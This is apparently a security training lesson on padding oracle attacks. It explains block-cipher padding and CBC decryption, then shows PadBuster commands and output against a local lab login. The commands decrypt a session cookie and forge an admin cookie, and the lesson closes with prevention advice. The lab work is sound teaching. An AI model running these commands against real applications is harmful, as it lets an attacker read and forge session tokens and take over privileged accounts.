Padding Oracles

Padding Oracle attacks are cryptographic attacks that are the result of verbose leakage of information about the decryption process. They are not specific to TLS but can be present in any application that handles encryption or decryption incorrectly.

---

What is Padding?

To understand Padding Oracle attacks, we first have to take a look at what exactly padding is and why it is required.

Block ciphers, a type of symmetric encryption algorithm, operate by splitting the input into blocks and encrypting the input block by block, hence the name. To do so, it is required that the input length is divisible by the block size. Padding is the data added to the input to reach such a correct length. For instance, AES has a block size of 16 bytes, so if we want to encrypt a string of 30 bytes, we need to add 2 bytes of padding to reach a multiple of the block size.

When padding is added to the plaintext before encryption, it must be removed from the result of the decryption operation to reconstruct the original plaintext. In particular, the padding needs to be reversible. This sounds intuitive but might not be trivial. Consider the following example padding:

• We are using a block cipher with a block size of 8 bytes
• Our padding scheme works by appending the byte FF until a multiple of the block size is reached

Now consider that we want to encrypt the plaintext byte stream DE AD BE EF FF. Since the length of this plaintext is 5 bytes, we need to append 3 bytes of padding such that the plaintext becomes DE AD BE EF FF FF FF FF. Now we can encrypt this plaintext using our block cipher and transmit it to the target. After the target received the encrypted message, they decrypt it, resulting in the same plaintext DE AD BE EF FF FF FF FF. To reverse the padding, all trailing bytes FF are removed, resulting in the plaintext DE AD BE EF. However, compared to the original message, this decryption is incorrect. That is because the trailing byte FF of the original plaintext is identical to the padding byte. Therefore, there is no way of knowing how many padding bytes have to be stripped after decryption. Most padding schemes solve this problem by not simply appending a fixed byte to the end of the plaintext, but encoding the length of the padding as well. That way, the target can compute the padding length after decryption and remove the padding bytes accordingly.

---

Padding Oracles

Padding Oracle attacks are the result of verbose leakage of error messages regarding the padding when the CBC encryption mode is used. They are the result of improper implementation or usage of cryptographic protocols and are not specific to TLS but apply to any situation when padding is handled improperly under these circumstances.

More specifically, a padding oracle attack exploits the fact that information about improper padding of a decrypted ciphertext is verbosely leaked, hence the name padding oracle. Since the applied padding scheme is generally known in advance, an attacker might be able to forge ciphertexts and brute force the correct padding byte which can lead to plaintext leakage. This allows an attacker to decrypt ciphertexts without access to the decryption key. In some cases, an attacker might even be able to encrypt his own plaintexts without knowledge of the key.

Decryption in CBC mode works by computing an intermediate result from the current ciphertext block and XORing it with the previous ciphertext block to form the current plaintext block. We are assuming that we are working on the last ciphertext block, so the resulting plaintext contains padding bytes. The attack works by modifying the previous block until a valid padding is reached in the current block. This leaks the intermediate result of the current block. Combining this intermediate result with the knowledge of the unmodified previous block leaks a plaintext byte of the current block. Applying this attack recursively byte-wise leads to the complete decryption of the last plaintext block. The attack can then be applied block-wise to decrypt the complete plaintext without knowledge of the decryption key.

We can identify servers vulnerable to padding oracle attacks by observing their behavior when they receive incorrect padding. Any difference in behavior to a correctly padded message can indicate a vulnerability. That includes verbose error messages, differences in the HTTP status code, differences in the HTTP body, or timing differences.

---

Tools

Now let's try to identify and exploit a padding oracle vulnerability in practice. To do this, we are going to use the tool PadBuster. It can either be downloaded from the GitHub repository and used with Perl, or installed via the package manager:

[!bash!]$ sudo apt install padbuster

Identification

When we start the exercise at the end of this section, we can see that we have a basic login page:

After logging in with the provided credentials and inspecting the traffic in burp, we can see that the application sets a custom cookie of the form user=AAAAAAAAAAAAAAAAAAAAAJQB/nhNEuPuNC8ox7cN1z0=. The cookie looks like base64 encoded content, however, decoding it reveals that it is binary data. After attempting to access the admin panel in the application, we get an Unauthorized response:

If we change the user cookie in the request to /admin, we get a different error message:

This error message reveals information about the padding in the ciphertext that is contained in the cookie. This means the web server might be vulnerable to a padding oracle attack.

Exploitation

To verify that the server is vulnerable, we are going to use PadBuster. To display the help, we can just type padbuster into a terminal:

[!bash!]$ padbuster

+-------------------------------------------+
| PadBuster - v0.3.3                        |
| Brian Holyfield - Gotham Digital Science  |
| [email protected]                      |
+-------------------------------------------+
    
    Use: padbuster URL EncryptedSample BlockSize [options]

<SNIP>

PadBuster needs the URL, an encrypted sample, and the block size. We obtained an encrypted sample in the user cookie, and we can specify the URL to the admin endpoint. We do not know the block size but we can guess it. We will start with a block size of 16 since that is the block size of AES. In practice, we might have to try different values for the block size if the attack fails. Common block sizes are 8 and 16.

Additionally, we need to specify that the ciphertext is contained within a cookie, which we can do with the -cookies flag. If the payload was transmitted in a POST parameter, we would have to use the -post parameter.

We can also specify the encoding of the data with the -encoding flag. In this case, the data is base64 encoded, which corresponds to the value 0. This results in the following command:

[!bash!]$ padbuster http://127.0.0.1:1337/admin "AAAAAAAAAAAAAAAAAAAAAJQB/nhNEuPuNC8ox7cN1z0=" 16 -encoding 0 -cookies "user=AAAAAAAAAAAAAAAAAAAAAJQB/nhNEuPuNC8ox7cN1z0="

<SNIP>

The following response signatures were returned:

-------------------------------------------------------
ID#	Freq	Status	Length	Location
-------------------------------------------------------
1	2	401	12	N/A
2 **	254	500	15	N/A
-------------------------------------------------------

Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended : 2

Continuing test with selection 2

[+] Success: (253/256) [Byte 16]
[+] Success: (256/256) [Byte 15]
[+] Success: (137/256) [Byte 14]
[+] Success: (150/256) [Byte 13]
[+] Success: (159/256) [Byte 12]
[+] Success: (142/256) [Byte 11]
[+] Success: (140/256) [Byte 10]
[+] Success: (219/256) [Byte 9]
[+] Success: (149/256) [Byte 8]
[+] Success: (130/256) [Byte 7]
[+] Success: (157/256) [Byte 6]
[+] Success: (207/256) [Byte 5]
[+] Success: (129/256) [Byte 4]
[+] Success: (149/256) [Byte 3]
[+] Success: (132/256) [Byte 2]
[+] Success: (155/256) [Byte 1]

Block 1 Results:
[+] Cipher Text (HEX): 9401fe784d12e3ee342f28c7b70dd73d
[+] Intermediate Bytes (HEX): 757365723d6874622d7374646e740202
[+] Plain Text: user=htb-stdnt

Use of uninitialized value $plainTextBytes in concatenation (.) or string at /usr/bin/padbuster line 361, <STDIN> line 1.
-------------------------------------------------------
** Finished ***

[+] Decrypted value (ASCII): user=htb-stdnt

[+] Decrypted value (HEX): 757365723D6874622D7374646E740202

[+] Decrypted value (Base64): dXNlcj1odGItc3RkbnQCAg==

-------------------------------------------------------

PadBuster looks for differences in the response to tell whether the padding was valid or not and asks us to confirm the choice. In this case, we can use the suggested value of 2. PadBuster is also able to look at the content of the response when the -usebody flag is specified. By default, it only looks at the response status code and length. After doing so, PadBuster successfully executes a padding oracle attack and can decrypt the value contained in the cookie: user=htb-stdnt.

We could also tell PadBuster to look for a specific error string to determine whether the padding was valid or not. To do so, we can use the -error flag and provide the error string. In our web application, that would be -error 'Invalid Padding'.

Encrypting Custom Value

From decrypting the cookie, we can deduce that it stores the username of the logged-in user. To access the admin panel, we can attempt to encrypt our own forged cookie for another user, for instance, the admin user. To do so, we can use PadBuster's -plaintext flag and specify the plaintext we want to encrypt:

[!bash!]$ padbuster http://127.0.0.1:1337/admin "AAAAAAAAAAAAAAAAAAAAAJQB/nhNEuPuNC8ox7cN1z0=" 16 -encoding 0 -cookies "user=AAAAAAAAAAAAAAAAAAAAAJQB/nhNEuPuNC8ox7cN1z0=" -plaintext "user=admin" 

<SNIP>

The following response signatures were returned:

-------------------------------------------------------
ID#	Freq	Status	Length	Location
-------------------------------------------------------
1	1	401	12	N/A
2 **	255	500	15	N/A
-------------------------------------------------------

Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended : 2

Continuing test with selection 2

[+] Success: (97/256) [Byte 16]
[+] Success: (9/256) [Byte 15]
[+] Success: (179/256) [Byte 14]
[+] Success: (174/256) [Byte 13]
[+] Success: (215/256) [Byte 12]
[+] Success: (235/256) [Byte 11]
[+] Success: (61/256) [Byte 10]
[+] Success: (249/256) [Byte 9]
[+] Success: (221/256) [Byte 8]
[+] Success: (192/256) [Byte 7]
[+] Success: (197/256) [Byte 6]
[+] Success: (207/256) [Byte 5]
[+] Success: (96/256) [Byte 4]
[+] Success: (233/256) [Byte 3]
[+] Success: (85/256) [Byte 2]
[+] Success: (192/256) [Byte 1]

Block 1 Results:
[+] New Cipher Text (HEX): 25d77cdf00512e4766aa152a5048f398
[+] Intermediate Bytes (HEX): 50a419ad3d304a2a0fc4132c564ef59e

-------------------------------------------------------
** Finished ***

[+] Encrypted value is: Jdd83wBRLkdmqhUqUEjzmAAAAAAAAAAAAAAAAAAAAAA%3D
-------------------------------------------------------

Setting the encrypted value as the user cookie allows us to access the admin panel in the web application.

---

Prevention

Padding Oracle attacks exist because of the improper use of cryptographic algorithms. Even if the encryption algorithm is secure, it may still be vulnerable if used incorrectly. Therefore it is important to know what you are doing when implementing anything related to encryption. In particular, padding oracle attacks can be prevented by not letting the user know that the padding was invalid. Instead of displaying a specific error message about invalid padding, a generic error message should be displayed when the decryption fails. The application has to behave the exact same way whether the expected padding was correct or not. Most importantly, remember that you should "Never Roll-Your-Own Crypto", and instead try to use common encryption libraries.